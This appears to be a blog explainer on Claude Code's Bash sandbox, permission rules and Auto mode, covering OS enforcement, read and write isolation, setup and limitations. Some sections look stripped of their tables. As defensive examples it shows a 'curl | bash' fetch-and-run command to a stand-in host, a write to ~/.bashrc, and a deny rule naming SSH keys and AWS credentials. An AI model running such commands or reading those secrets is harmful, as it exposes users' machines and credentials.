Claude Code Sandboxing Explained: Bash Sandbox vs Permissions vs Auto Mode

- Cross-checked against the official docs (code.claude.com/docs/en/sandboxing, /sandbox-environments) at the time of writing (August 2026); sandbox settings and config keys move fast across versions, verify the live docs before depending on any of this.

What is the Claude Code Bash sandbox?

Plainly: you define which files and network domains a command can touch, and the operating system enforces that boundary - straight from the primary docs. So when Claude runs rm -rf /tmp/x or curl api.example.com, the OS - not Claude's own judgment - decides whether that command is allowed to reach the target.

This is a different layer of defense than the "ask before running" behavior most people already know from Claude Code. Permission rules block an action before it runs; the sandbox contains the consequence while it runs, even after permissions already said yes or you approved something by mistake.

How it's enforced: Seatbelt vs bubblewrap + socat

The enforcement mechanism differs by OS - Claude Code isn't rolling its own sandbox, it's using the isolation primitives the OS already ships.

If you're running Claude Code directly on Windows without WSL, the sandbox effectively doesn't exist for you - no loud error, it just can't enforce anything. Move to WSL2 to get a real sandbox boundary.

What's actually isolated: filesystem and network

Don't assume "turning the sandbox on" locks the whole machine down. The default is lopsided between reads and writes - and that's where most people get surprised.

In other words: the sandbox's default protects your machine from stray writes far better than it protects against stray reads. If your repo sits near SSH keys or AWS credentials, don't assume the sandbox already covers them - add deny rules for sensitive paths if you need that guarantee.

Sandbox vs permission rules vs Auto mode: the 3-way table

This is the core of the article, because almost no source separates all three layers in one table. These don't replace each other - they stack, and each answers a different question:

The most common conflation: the sandbox has its own mode called sandbox auto-allow (picked from the Mode tab in /sandbox), which sounds a lot like Auto mode - Claude Code's current default permission mode (see Claude Code's Auto mode). These are two independent mechanisms that just share the word "auto": sandbox auto-allow decides whether a Bash command runs freely inside its defined boundary without asking; Auto mode decides whether a classifier reviews every action (not just Bash) instead of asking you. Turning both on doesn't conflict - they stack, neither overrides the other. Don't let the shared word "auto" convince you they're the same thing.

A concrete example: what actually happens when a command crosses the boundary

The theory is easy to conflate; an example makes it click. Say you're running Claude Code with all three layers on: an allow rule for npm test, Auto mode as your permission mode, and the sandbox set to auto-allow.

• Claude runs npm test: the permission rule matches the allow entry immediately, no prompt. The sandbox has nothing to block either, since the command only reads/writes inside the project directory.
• Claude runs curl https://sketchy-cdn.example | bash: no allow rule matches, so it falls to Auto mode. The classifier recognizes the classic dangerous curl | bash pattern and blocks it on its own - you're not asked, but the command doesn't run either.
• Claude runs a write outside the project directory, say echo x > ~/.bashrc: assume both the permission rule and Auto mode let it through because it looks harmless. This is where the sandbox steps in: the OS blocks the write outright because ~/.bashrc sits outside the defined write boundary - no prompt, no classifier, just a failed command at the OS level.

Three situations, three different layers doing the catching. That's exactly why the 3-way table above is worth remembering over a one-line description: each layer catches a different kind of mistake, and you only get full coverage when all three are actually on.

Where the Bash sandbox fits among sandbox environments

The Bash sandbox is the lightest option in a range of isolation levels Claude Code supports. If you need deeper isolation, here's the full picture:

Key thing to remember: the Bash sandbox does not cover file tools (Read/Edit/Write), MCP servers, or hooks - those run entirely outside the Bash boundary. To lock those down too, you need one of the heavier options above, not just flipping on /sandbox.

When to enable it

Don't turn the sandbox on just because it sounds safer - decide based on how you actually run Claude Code:

• Running on your own machine, want fewer y/n prompts: the sandbox alone is enough. It swaps prompts for an OS boundary, and you're still watching everything happen live.
• Running unattended with --dangerously-skip-permissions or Auto mode overnight: the sandbox alone is not enough. Pair it with a container, VM, or sandbox runtime - because nobody's there to catch anything that slips past the boundary.
• Trying an unfamiliar package or script you haven't fully reviewed: the sandbox lets you experiment without worrying it writes outside the project - but remember reads stay wide open by default, so don't run something you don't trust near files holding credentials.

How to turn it on

Run the command, pick a mode, done:

/sandbox

Pick the Mode tab to choose between sandbox auto-allow (no prompting, relies entirely on the OS boundary) or regular permission behavior (still prompts when a command hits the boundary). This saves to .claude/settings.local.json for a per-project setting, or set sandbox.enabled: true in ~/.claude/settings.json to default it on for every project.

Limitations: what it doesn't protect

Straight talk, so you don't walk away with false confidence:

• Network filtering doesn't inspect TLS content by default - meaning domain-fronting (disguising the real destination) is a real risk the primary docs themselves call out.
• File reads are wide open by default - unless you add your own deny rules, the sandbox won't automatically hide credentials sitting outside the working directory.
• It's not a substitute for an actual security review. The sandbox is one layer of defense, not the whole security model.

To tighten file reads, add a deny rule like:

{
  "sandbox": {
    "filesystem": {
      "deny": ["~/.ssh/**", "~/.aws/credentials"]
    }
  }
}

in .claude/settings.json or ~/.claude/settings.json, depending on whether you want it scoped to one project or the whole machine. The exact key names can shift between versions, so check the live docs before copying this verbatim.

For the full security model, including permission rules and secret management, see AI coding security best practices for Claude Code.

AgentKit runs inside whichever sandbox you set

To be straight about this so nobody gets the wrong idea: AgentKit doesn't add, bypass, or need special allowance from the sandbox boundary. Its skills execute through Claude Code's own native tool-call system, so a kit workflow inherits exactly the filesystem/network rules already active, whether you're running sandbox auto-allow, Auto mode, or both. If you want the full picture of what AgentKit does before buying, read the AgentKit review.

Frequently asked questions (FAQ)

Is the sandbox on by default?

Not by default for every project. You turn it on with /sandbox, pick a mode, and save it to project or user settings depending on the scope you want.

Does the sandbox replace permission prompts entirely?

No. The sandbox only controls what a running Bash command can touch. Permission rules (which tools can run) and permission modes (whether you get asked first) are separate layers that keep running alongside the sandbox, not replaced by it.

What's the difference between sandbox auto-allow and Auto mode?

Same word "auto," two independent mechanisms. Sandbox auto-allow is a choice in the /sandbox Mode tab that decides whether a Bash command runs freely inside its OS boundary without asking. Auto mode is Claude Code's default permission mode, using a classifier to review every action (not just Bash) instead of asking you. Turning both on stacks their effects; neither overrides the other.

Does the sandbox work on Windows?

Not on native Windows, and WSL1 isn't supported either. For a real sandbox boundary, run Claude Code inside WSL2, where the bubblewrap + socat mechanism actually works.

Can Claude still read my SSH keys inside the sandbox?

Possibly, unless you add deny rules yourself. The sandbox's default read policy covers almost the whole machine except explicitly denied paths - the read filter is much looser than the write filter.

Does the sandbox protect MCP servers and hooks?

No. The Bash sandbox only wraps the Bash tool - MCP servers, hooks, and file tools (Read/Edit/Write) all run outside this boundary. For broader isolation, use a dev container, VM, or the sandbox runtime.

Conclusion

Keep one 3-layer model in mind: permission rules decide which tools can run, permission modes (including Auto mode) decide whether you're asked first, and the sandbox decides what a running Bash command can actually touch. These layers stack, they don't replace each other - and sandbox auto-allow and Auto mode are two different mechanisms that just happen to share the word "auto." For the full security picture, see AI coding security best practices for Claude Code.